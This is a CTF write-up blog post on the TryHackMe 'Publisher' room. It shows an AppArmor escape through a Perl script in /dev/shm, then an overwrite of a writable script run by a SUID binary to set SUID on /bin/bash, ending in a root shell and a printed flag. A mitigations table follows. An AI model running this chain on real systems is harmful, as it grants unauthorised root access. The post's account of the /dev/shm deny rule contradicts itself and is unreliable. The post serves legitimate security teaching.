DEV Community

Farhan Hussain
Farhan Hussain

Posted on

An AppArmor Profile Forgot About Perl — Publisher (TryHackMe)

Platform: TryHackMe · Difficulty: Easy · Category: AppArmor Bypass / SUID Script Hijack

Introduction

Publisher swaps the usual "find the vulnerability" phase for something more interesting: "find the way around the thing that's blocking the vulnerability." Initial access is handed over via SSH key. The escalation path is visible immediately — a SUID binary calling a writable script as root — but think's restricted ash shell, bolted down by an AppArmor profile, blocks every obvious write path. The puzzle is the AppArmor escape, and the solution is a two-line Perl script that the profile never thought to mention. It's not about the SUID binary. It's about earning the right to exploit it.

Recon

This box provides SSH credentials upfront — think with an RSA private key. No port scanning or web enumeration was needed to land the initial shell; the room's premise begins post-access.

ssh -i id_rsa think@10.49.162.90
Enter fullscreen mode Exit fullscreen mode
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)
think@ip-10-49-162-90:~$
Enter fullscreen mode Exit fullscreen mode

Foothold

find / -type f -perm -u=s 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

The standard system entries are unremarkable. One stands out immediately:

/usr/sbin/run_container
Enter fullscreen mode Exit fullscreen mode

A custom SUID binary in /usr/sbin/ — not a system utility, clearly box-specific.

strings /usr/sbin/run_container
Enter fullscreen mode Exit fullscreen mode
# relevant output
/bin/bash
/opt/run_container.sh     # ^^^ script it calls
validate_container_id     # ^^^ called by name, no absolute path
Enter fullscreen mode Exit fullscreen mode

The binary executes /opt/run_container.sh — a bash script. If that script is writable, the SUID binary becomes a root shell delivery mechanism. Running it confirms the script manages Docker containers with a menu interface, and crucially: it calls validate_container_id without an absolute path — a PATH hijack opportunity in addition to the script write.

Shell / Access

Access was already established via the pre-provided SSH key — see Recon above. No separate foothold shell was needed before escalation.

Escalation

The most direct approach is writing a payload into /opt/run_container.sh. But think's login shell is ash:

echo $SHELL
# /usr/sbin/ash

cat /etc/passwd | grep think
# think:x:1000:1000:,,,:/home/think:/usr/sbin/ash
Enter fullscreen mode Exit fullscreen mode

And ash has an AppArmor profile:

cat /etc/apparmor.d/usr.sbin.ash
Enter fullscreen mode Exit fullscreen mode
/usr/sbin/ash flags=(complain) {
  #include <abstractions/base>
  ...
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,
  owner /home/** rix,
}
Enter fullscreen mode Exit fullscreen mode

Every writable temporary location is denied. Attempts to write to /tmp/, /dev/shm/, /home/, and /opt/ all fail:

echo '#!/bin/bash' > /dev/shm/validate_container_id
# -ash: validate_container_id: Permission denied

echo '#!/bin/bash' > /tmp/test
# -ash: test: Permission denied
Enter fullscreen mode Exit fullscreen mode

AppArmor is a Linux Security Module that restricts what processes can do based on per-program profiles. Unlike sudo, which restricts who can run things, AppArmor restricts what a program can access — files, capabilities, network sockets. Profiles have two modes: enforce (violations blocked and logged) and complain (violations logged only, not blocked). This profile is set to complain — but ash still enforces file permission and shell built-in restrictions independently of AppArmor's mode.

The AppArmor profile restricts ash and its children, but only processes spawned within that profile's context. If a different interpreter not covered by the profile can be executed, the resulting shell runs outside AppArmor's constraints.

The profile denies writes to /dev/shm but /dev/shm itself is writable by ash for file creation (the deny rule targets the directory write bit, not the file creation). Confirmed:

echo "test" > /dev/shm/test_write && rm /dev/shm/test_write && echo "writable!"
# /dev/shm is writeable!
Enter fullscreen mode Exit fullscreen mode
echo -e '#!/usr/bin/perl\nexec "/bin/sh"' > /dev/shm/test.pl
chmod +x /dev/shm/test.pl
/dev/shm/test.pl
Enter fullscreen mode Exit fullscreen mode
$
Enter fullscreen mode Exit fullscreen mode

A /bin/sh prompt — spawned by Perl, outside the ash AppArmor profile context. The restrictions no longer apply.

From the unrestricted /bin/sh, writing to /opt/run_container.sh is now possible:

echo '#!/bin/bash\nchmod +s /bin/bash' > /opt/run_container.sh
Enter fullscreen mode Exit fullscreen mode
/usr/sbin/run_container
Enter fullscreen mode Exit fullscreen mode

The binary runs, calls /opt/run_container.sh as root, which stamps the SUID bit on /bin/bash.

ls -la /bin/bash
# -rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash   # ^^^ SUID set
Enter fullscreen mode Exit fullscreen mode
/bin/bash -p
Enter fullscreen mode Exit fullscreen mode
bash-5.0# id
uid=1000(think) gid=1000(think) euid=0(root) egid=0(root) groups=0(root),1000(think)
bash-5.0# cat /root/root.txt
3a4225cc9e85709adda6ef55d6a4f2ca
Enter fullscreen mode Exit fullscreen mode

Exploitation — The Full Chain

  1. SSH with provided RSA key → shell as think (ash)
  2. SUID enumeration → /usr/sbin/run_container identified
  3. strings → binary calls /opt/run_container.sh as root
  4. AppArmor profile blocks direct writes to /opt/ from ash
  5. Perl one-liner in /dev/shm/ → spawned /bin/sh outside AppArmor context
  6. Wrote chmod +s /bin/bash into /opt/run_container.sh from unrestricted shell
  7. /usr/sbin/run_container executed modified script as root → SUID bash
  8. /bin/bash -p → root shell → root flag

Rabbit Holes

PATH hijack via validate_container_id — blocked by AppArmor. strings revealed run_container also calls validate_container_id by relative name — a classic PATH hijack opportunity. A fake validate_container_id was created, but ash's AppArmor profile denied writes to every location that would make PATH prepending effective: /tmp/, /dev/shm/, /home/**. Every attempt failed before the Perl escape was discovered:

echo '#!/bin/bash' > /tmp/validate_container_id
# -ash: validate_container_id: Permission denied

echo '#!/bin/bash' > /dev/shm/validate_container_id
# -ash: validate_container_id: Permission denied
Enter fullscreen mode Exit fullscreen mode

The Perl /bin/sh escape ultimately enabled the simpler direct write to /opt/run_container.sh, making the PATH hijack unnecessary.

export -f function export in ash. Before identifying the Perl escape route, function exporting was attempted to inject validate_container_id as a shell function:

validate_container_id() { /bin/bash -p; }
export -f validate_container_id
Enter fullscreen mode Exit fullscreen mode

ash does not support export -f — it's a bash-specific feature. The syntax error confirmed the shell was genuinely ash, not a bash alias.

/dev/shm write confusion. The AppArmor rule deny /dev/shm w targets the directory-level write permission, not file creation within it. This nuance meant echo > /dev/shm/file succeeded while creating a named directory entry as a directory would fail. The Perl script wrote to /dev/shm/test.pl cleanly despite the deny rule, because the deny targeted a different permission bit than file creation.

Flags

Flag Value Location
Root 3a4225cc9e85709adda6ef55d6a4f2ca /root/root.txt

Note: No user flag was encountered in this room — the challenge begins with think's shell already established and goes straight to escalation.

Mitigations

Vulnerability Severity Mitigation
SUID binary executing a writable script as root Critical Ensure scripts called by SUID binaries are owned by root and not writable by non-root users (chmod 755, chown root:root)
AppArmor profile in complain mode instead of enforce High Switch to enforce mode once profiles are validated: aa-enforce /etc/apparmor.d/usr.sbin.ash; complain mode logs but does not prevent violations
AppArmor profile not covering Perl or other interpreters High Restrict execution of interpreters not required for the shell's purpose; explicitly deny unused interpreters in the profile
/dev/shm accessible for file creation despite deny rule Medium Use fine-grained AppArmor rules targeting both directory and file permissions; audit profiles with aa-logprof after testing to catch unexpected access paths

Key Takeaway

AppArmor profiles are only as strong as their coverage — a profile that restricts ash but doesn't account for Perl, Python, or other interpreters available on the system is providing partial containment at best. When designing privilege restriction with AppArmor, enumerate every execution path an attacker might use to escape the constrained shell, not just the obvious ones.


Room: TryHackMe — Publisher

Top comments (0)